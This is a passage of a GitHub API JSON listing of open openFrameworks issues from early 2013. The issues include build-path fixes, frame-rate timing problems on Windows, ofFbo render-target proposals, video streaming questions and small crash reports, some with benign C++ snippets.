cairo-features.h)","user":{"login":"YottaSecond","id":2925265,"avatar_url":"https://secure.gravatar.com/avatar/40858a2bd29d3dac55087846ea5b6880?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"40858a2bd29d3dac55087846ea5b6880","url":"https://api.github.com/users/YottaSecond","html_url":"https://github.com/YottaSecond","followers_url":"https://api.github.com/users/YottaSecond/followers","following_url":"https://api.github.com/users/YottaSecond/following","gists_url":"https://api.github.com/users/YottaSecond/gists{/gist_id}","starred_url":"https://api.github.com/users/YottaSecond/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/YottaSecond/subscriptions","organizations_url":"https://api.github.com/users/YottaSecond/orgs","repos_url":"https://api.github.com/users/YottaSecond/repos","events_url":"https://api.github.com/users/YottaSecond/events{/privacy}","received_events_url":"https://api.github.com/users/YottaSecond/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-02-23T19:52:06Z","updated_at":"2013-02-23T21:30:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The install_dependencies.sh script failed on me yesterday (I was trying to build openFrameworks in Fedora for the first time).\r\n\r\nThis doesn't seem to be a problem with the script itself; just a problem with the makefile include flags, which don't currently lead to the cairo development files.\r\n\r\nTo get this working, I simply added:\r\n\r\nINCLUDES_FLAGS += -I /usr/include/cairo\r\n\r\nafter line 108 in the openFrameworksCompiled/project/linux64 makefile.\r\n\r\nOthers have suggested changing the cairo includes in libs/openFrameworks/graphics/ofCairoRenderer.h from \"cairo-features.h\" to \"cairo/cairo-features.h\"\r\nI haven't tested that, but perhaps it could be a more elegant solution."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1876","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1876/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1876/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1876/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1876","id":11012527,"number":1876,"title":"Feature: Poco::DateTimeFormatter","user":{"login":"ascorbin","id":900709,"avatar_url":"https://secure.gravatar.com/avatar/9cff00ec4a5ef434ed3694c7f84b231b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9cff00ec4a5ef434ed3694c7f84b231b","url":"https://api.github.com/users/ascorbin","html_url":"https://github.com/ascorbin","followers_url":"https://api.github.com/users/ascorbin/followers","following_url":"https://api.github.com/users/ascorbin/following","gists_url":"https://api.github.com/users/ascorbin/gists{/gist_id}","starred_url":"https://api.github.com/users/ascorbin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ascorbin/subscriptions","organizations_url":"https://api.github.com/users/ascorbin/orgs","repos_url":"https://api.github.com/users/ascorbin/repos","events_url":"https://api.github.com/users/ascorbin/events{/privacy}","received_events_url":"https://api.github.com/users/ascorbin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-02-14T20:36:25Z","updated_at":"2013-03-11T08:03:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for a racing game i needed time formats like 00:00:000 and found everything inside poco. would be nice to wrap this for of. \r\n\r\nexample:\r\n// get pointer to mov\r\n ofVideoPlayer* p = (ofVideoPlayer*) e->imgPtr;\r\n \r\n // get mov times\r\n Poco::DateTimeFormatter dateFormater;\r\n float total = p->getDuration();\r\n float current = p->getPosition();\r\n Poco::Timespan totalTime = total*1000*1000;\r\n Poco::Timespan currentTime = current*total*1000*1000;\r\n \r\n string currentTimeString = dateFormater.format(currentTime , \"%m:%S\");\r\n string totalTimeString = dateFormater.format(totalTime , \"%m:%S\");\r\n\r\ngreetings ascorbin"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1873","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1873/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1873/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1873/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1873","id":10897195,"number":1873,"title":"Sleep() and ofSetFrameRate accuracy","user":{"login":"kamend","id":462951,"avatar_url":"https://secure.gravatar.com/avatar/1b0002ee319a421a56ef94c199382fb7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1b0002ee319a421a56ef94c199382fb7","url":"https://api.github.com/users/kamend","html_url":"https://github.com/kamend","followers_url":"https://api.github.com/users/kamend/followers","following_url":"https://api.github.com/users/kamend/following","gists_url":"https://api.github.com/users/kamend/gists{/gist_id}","starred_url":"https://api.github.com/users/kamend/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kamend/subscriptions","organizations_url":"https://api.github.com/users/kamend/orgs","repos_url":"https://api.github.com/users/kamend/repos","events_url":"https://api.github.com/users/kamend/events{/privacy}","received_events_url":"https://api.github.com/users/kamend/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-02-12T06:49:51Z","updated_at":"2013-02-12T11:27:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi guys,\r\nHere is something strange I am fighting with the last few days. I have a PointGrey Flea3 cam, which could run at 120 fps. I am trying to run a basic application under Windows 7, using their FlyCapture SDK, although the problem I am having is also present, if I run just the basic empty example application.\r\n\r\nBasically I am doing this, at the setup() of my application, I would set:\r\n\r\nofSetFrameRate(120);\r\nofSetVerticalSync(false);\r\n\r\nand what I would get is Openframeworks running at no more then ~64 fps. The really weird thing is that sometimes after a while, the application will start running at my desired rate, but if I restart, I am back at the ~64 fps limit. \r\n\r\nSo, I dug deeper into the matter and I noticed the Sleep() method inside the ofAppGlutWindow idle_cb function. When I set the frame rate to 120 fps, the idle_cb function correctly calculates that it has too sleep for 8ms and waitMillis is indeed 8ms, but for some reason the Sleep function could not get lower then 16 ms sleep, which I measured using a suggested on the forums more accurate timer - QueryPerformanceCounter. So, I guess the problem here is the resolution of the Sleep method and the most weird thing is that sometimes it would work, sometimes it would not. I tested this on my MacBook Pro and on my Desktop machine, so I guess it's not hardware related.\r\n\r\nI did another test too, setting ofSetFrameRate(0), bypassing the Sleep function. But then I get a resolution problem with ofGetElapsedTimef(), I still could not get a difference between the frames lower then 16ms. So I did another test with QueryPerformanceCounter and measured it against the ofGetElapsedTimef() inside the \"update()\" function and what I noticed is that when I set the FlyCaptureSDK to 120 fps, the application was indeed running in 120 frames per second, but OF was showing ~64fps. Basically the difference between frames using QueryPerformanceCounter was 8ms, but the difference measured with ofGetElapsedTimef was 16ms. Once again I should mention, that sometimes after like 10 minutes, I would get the resolution and the application showing correct frame rate, but when I restart it will be back at the ~64 fps limit. \r\n\r\nDoes anybody actually have this problem, is this a known issue or am I doing something completely wrong here?\r\n\r\nHere is the QueryPerformanceCode, I am usuing for measurement:\r\n\r\n```c++\r\nclass Timer {\r\npublic:\r\n\tdouble PCFreq;\r\n\tunsigned long long CounterStart;\r\n\r\n\tvoid StartTimer() {\r\n\t\t LARGE_INTEGER li;\r\n\t\t if(!QueryPerformanceFrequency(&li))\r\n\t\t\tcout << \"QueryPerformanceFrequency failed!\\n\";\r\n\r\n\t\t PCFreq = double(li.QuadPart)/1000.0;\r\n\r\n\t\t QueryPerformanceCounter(&li);\r\n\t\t CounterStart = li.QuadPart;\r\n\t}\r\n\r\n\tdouble Timer::GetElapsedTime()\r\n\t{\r\n\t\tLARGE_INTEGER li;\r\n\t\tQueryPerformanceCounter(&li);\r\n\t\treturn double(li.QuadPart-CounterStart)/PCFreq;\r\n\t}\r\n\r\n};\r\n```\r\nKeep up the good work,\r\nKamen\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1871","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1871/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1871/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1871/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1871","id":10867389,"number":1871,"title":"ofFbo modifications to ease the use of Multiple Rendering Targets","user":{"login":"tobiasebsen","id":1135364,"avatar_url":"https://secure.gravatar.com/avatar/0084a00a1e20e0607a9f67d2d9b992c0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0084a00a1e20e0607a9f67d2d9b992c0","url":"https://api.github.com/users/tobiasebsen","html_url":"https://github.com/tobiasebsen","followers_url":"https://api.github.com/users/tobiasebsen/followers","following_url":"https://api.github.com/users/tobiasebsen/following","gists_url":"https://api.github.com/users/tobiasebsen/gists{/gist_id}","starred_url":"https://api.github.com/users/tobiasebsen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tobiasebsen/subscriptions","organizations_url":"https://api.github.com/users/tobiasebsen/orgs","repos_url":"https://api.github.com/users/tobiasebsen/repos","events_url":"https://api.github.com/users/tobiasebsen/events{/privacy}","received_events_url":"https://api.github.com/users/tobiasebsen/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":20,"created_at":"2013-02-11T14:18:28Z","updated_at":"2013-03-11T10:02:48Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1871","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1871.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1871.patch"},"body":"These are just some small modifications that allows attaching textures and render-buffers of a custom format. Very useful for Multiple Rendering Targets and deferred shading."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1864","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1864/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1864/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1864/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1864","id":10771082,"number":1864,"title":"Libc++ support (C++11)","user":{"login":"caseybasichis","id":1331371,"avatar_url":"https://secure.gravatar.com/avatar/ce22b4fea19712236dfc590819931cb5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ce22b4fea19712236dfc590819931cb5","url":"https://api.github.com/users/caseybasichis","html_url":"https://github.com/caseybasichis","followers_url":"https://api.github.com/users/caseybasichis/followers","following_url":"https://api.github.com/users/caseybasichis/following","gists_url":"https://api.github.com/users/caseybasichis/gists{/gist_id}","starred_url":"https://api.github.com/users/caseybasichis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/caseybasichis/subscriptions","organizations_url":"https://api.github.com/users/caseybasichis/orgs","repos_url":"https://api.github.com/users/caseybasichis/repos","events_url":"https://api.github.com/users/caseybasichis/events{/privacy}","received_events_url":"https://api.github.com/users/caseybasichis/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2013-02-08T08:19:15Z","updated_at":"2013-02-08T15:41:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Has anyone done any work towards implementing Libc++ compatibility with OF?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1863","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1863/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1863/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1863/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1863","id":10735641,"number":1863,"title":"ofFbo needs better support for MRT","user":{"login":"tobiasebsen","id":1135364,"avatar_url":"https://secure.gravatar.com/avatar/0084a00a1e20e0607a9f67d2d9b992c0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0084a00a1e20e0607a9f67d2d9b992c0","url":"https://api.github.com/users/tobiasebsen","html_url":"https://github.com/tobiasebsen","followers_url":"https://api.github.com/users/tobiasebsen/followers","following_url":"https://api.github.com/users/tobiasebsen/following","gists_url":"https://api.github.com/users/tobiasebsen/gists{/gist_id}","starred_url":"https://api.github.com/users/tobiasebsen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tobiasebsen/subscriptions","organizations_url":"https://api.github.com/users/tobiasebsen/orgs","repos_url":"https://api.github.com/users/tobiasebsen/repos","events_url":"https://api.github.com/users/tobiasebsen/events{/privacy}","received_events_url":"https://api.github.com/users/tobiasebsen/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-02-07T12:58:49Z","updated_at":"2013-02-07T12:58:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofFbo does support MRT, but it is not very flexible i regards to targets of various formats, nor is it possible to set the format and attachment of the render buffer.\r\n\r\nI suggest:\r\n\r\n1. createAndAttachTexture() and createAndAttachRenderbuffer() are made public.\r\n2. adding a function called attachTexture(const ofTexture& tex) that allows attaching various types of textures.\r\n3. making all private variables and functions \"protected\", so that it becomes easier to inherit from ofFbo."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1862","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1862/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1862/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1862/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1862","id":10707231,"number":1862,"title":"dragEvent not working (ubuntu 12.04)","user":{"login":"juji","id":493553,"avatar_url":"https://secure.gravatar.com/avatar/f6a77c3e62fbc564fc8d480b413ee27f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f6a77c3e62fbc564fc8d480b413ee27f","url":"https://api.github.com/users/juji","html_url":"https://github.com/juji","followers_url":"https://api.github.com/users/juji/followers","following_url":"https://api.github.com/users/juji/following","gists_url":"https://api.github.com/users/juji/gists{/gist_id}","starred_url":"https://api.github.com/users/juji/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/juji/subscriptions","organizations_url":"https://api.github.com/users/juji/orgs","repos_url":"https://api.github.com/users/juji/repos","events_url":"https://api.github.com/users/juji/events{/privacy}","received_events_url":"https://api.github.com/users/juji/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"state":"open","assignee":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"milestone":null,"comments":7,"created_at":"2013-02-06T19:18:40Z","updated_at":"2013-02-07T15:09:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"OpenFrameWorks 0073 on Ubuntu 12.04\r\n\r\nI tried to build eventsExample from the examples folder\r\n\r\nEverything runs smoothly, except for dragEvent. I tried dragging some files, but the app does nothing. It simply doesn't work.\r\n\r\nIs this a bug? Or am I doing something wrong?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1853","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1853/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1853/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1853/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1853","id":10618951,"number":1853,"title":"openFrameworksCompiled lib codeblocks project file is broken","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-02-04T18:16:57Z","updated_at":"2013-02-19T09:47:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"while letting my test run, I noticed that we need to update\r\n`libs/openFrameworksCompiled/project/win_cb/openFrameworksLib.cbp`\r\n\r\nThe start of codeblocks fails with the following error: http://forums.codeblocks.org/index.php?topic=15643.0\r\nIt only affects this file, examples with recently generated cbp files still work fine.\r\nMaybe we can fix this together with #1765.\r\n\r\nWin7 64bit, Codeblocks 10.05"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1847","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1847/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1847/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1847/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1847","id":10521990,"number":1847,"title":"ofVec, double precision?","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-01-31T23:15:30Z","updated_at":"2013-02-04T21:04:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm working on a project where I need double precision. \r\n\r\nI've had a look at ofVec2f, ofVec3f and ofVec4f, and I see they are independent classes. Obviously the easy route would be to make more custom classes (ofVec2d, ofVec3d and ofVec4d); but it feels kinda wrong. \r\n\r\nMaybe it would make sense to template ofVec \"à la\" ofImage? (although that would be much more work, and most likely slower execution).\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1844","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1844/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1844/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1844/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1844","id":10444481,"number":1844,"title":"HLS m3u8 HTTP live streaming video","user":{"login":"philworthy","id":184730,"avatar_url":"https://secure.gravatar.com/avatar/b9a622912fd001089ee575f1479c3a30?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b9a622912fd001089ee575f1479c3a30","url":"https://api.github.com/users/philworthy","html_url":"https://github.com/philworthy","followers_url":"https://api.github.com/users/philworthy/followers","following_url":"https://api.github.com/users/philworthy/following","gists_url":"https://api.github.com/users/philworthy/gists{/gist_id}","starred_url":"https://api.github.com/users/philworthy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/philworthy/subscriptions","organizations_url":"https://api.github.com/users/philworthy/orgs","repos_url":"https://api.github.com/users/philworthy/repos","events_url":"https://api.github.com/users/philworthy/events{/privacy}","received_events_url":"https://api.github.com/users/philworthy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2013-01-30T03:11:38Z","updated_at":"2013-01-30T15:30:13Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi.\r\nDoes anyone know how to get an m3u8 (HLS) HTTP live stream working in OpenFrameworks?\r\n\r\nI've tried tweaking the 'videoPlayerExample' but I get:\r\n```\r\nvideoPlayerExampleDebug[13103:707] Error Loading Movie: Error Domain=NSOSStatusErrorDomain Code=-2149 \"Not enough movie data is available.\" (notEnoughDataErr) UserInfo=0x3348ce0 {NSLocalizedDescription=Not enough movie data is available.} [ofQTKitPlayer:error] Loading file \r\n```\r\n\r\nFrom what I can tell QTKit (which I'm assuming is the guts under the OF video player) supports m3u8 but there's not much out there in the way of help (I found this article, which is not promising: http://4pcbr.com/topic/a_story_about_hls_video_handling).\r\n\r\nThere's also an existing thread on this here:\r\nhttps://github.com/openframeworks/openFrameworks/issues/897\r\nBut it seems to have gone dead a long time ago so posting again incase anyone's listening...\r\n\r\nAny help much appreciated.\r\nThanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1840","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1840/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1840/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1840/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1840","id":10371336,"number":1840,"title":"ofSaveURLAsync crashes on non-url","user":{"login":"companje","id":156066,"avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"30a7e135fe77636519d74d129c60e156","url":"https://api.github.com/users/companje","html_url":"https://github.com/companje","followers_url":"https://api.github.com/users/companje/followers","following_url":"https://api.github.com/users/companje/following","gists_url":"https://api.github.com/users/companje/gists{/gist_id}","starred_url":"https://api.github.com/users/companje/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/companje/subscriptions","organizations_url":"https://api.github.com/users/companje/orgs","repos_url":"https://api.github.com/users/companje/repos","events_url":"https://api.github.com/users/companje/events{/privacy}","received_events_url":"https://api.github.com/users/companje/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-01-28T10:58:23Z","updated_at":"2013-01-28T11:40:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"when calling ofSaveURLAsync(\"test\",\"test\") the program crashes (at least on Windows CodeBlocks). When calling ofSaveURLAsync(\"http://test\",\"test\") it doesn't."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1839","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1839/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1839/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1839/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1839","id":10345768,"number":1839,"title":"ofxOsc and binding multiple processes to the same ip and port. SO_REUSEPORT regarding issue #722","user":{"login":"dirtRAID","id":3393421,"avatar_url":"https://secure.gravatar.com/avatar/6e2246fd52538b4c37169696e4ae04b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6e2246fd52538b4c37169696e4ae04b4","url":"https://api.github.com/users/dirtRAID","html_url":"https://github.com/dirtRAID","followers_url":"https://api.github.com/users/dirtRAID/followers","following_url":"https://api.github.com/users/dirtRAID/following","gists_url":"https://api.github.com/users/dirtRAID/gists{/gist_id}","starred_url":"https://api.github.com/users/dirtRAID/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dirtRAID/subscriptions","organizations_url":"https://api.github.com/users/dirtRAID/orgs","repos_url":"https://api.github.com/users/dirtRAID/repos","events_url":"https://api.github.com/users/dirtRAID/events{/privacy}","received_events_url":"https://api.github.com/users/dirtRAID/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"